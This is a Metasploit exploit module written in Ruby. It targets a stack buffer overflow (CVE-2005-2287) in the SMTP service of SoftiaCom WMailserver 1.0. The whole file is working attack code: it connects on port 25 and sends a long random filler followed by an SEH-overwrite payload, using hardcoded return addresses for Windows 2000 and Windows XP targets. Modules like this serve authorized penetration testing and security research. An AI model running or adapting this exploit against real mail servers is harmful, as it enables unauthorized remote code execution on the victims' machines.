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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'SoftiaCom WMailserver 1.0 Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in SoftiaCom WMailserver 1.0
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          (SMTP) via a SEH frame overwrite.
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        },
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        'Author' => [ 'MC' ],
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        'References' => [
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          [ 'CVE', '2005-2287' ],
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          [ 'OSVDB', '17883' ],
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          [ 'BID', '14213' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Platform' => 'win',
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        'Privileged' => true,
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        'Payload' => {
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          'Space' => 600,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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        },
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        'Targets' => [
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          [ 'Windows 2000 Pro English All',	{ 'Ret' => 0x75022ac4 } ],
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          [ 'Windows XP Pro SP0/SP1 English',	{ 'Ret' => 0x71aa32ad } ],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2005-07-11',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([ Opt::RPORT(25) ])
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  end
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  def exploit
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    connect
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    filler = " " + rand_text_alpha_upper(5115)
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    seh = generate_seh_payload(target.ret)
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    sploit = filler + seh + rand_text_alpha_upper(200)
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit + "\r\n\r\n")
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    handler
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    disconnect
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  end
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end
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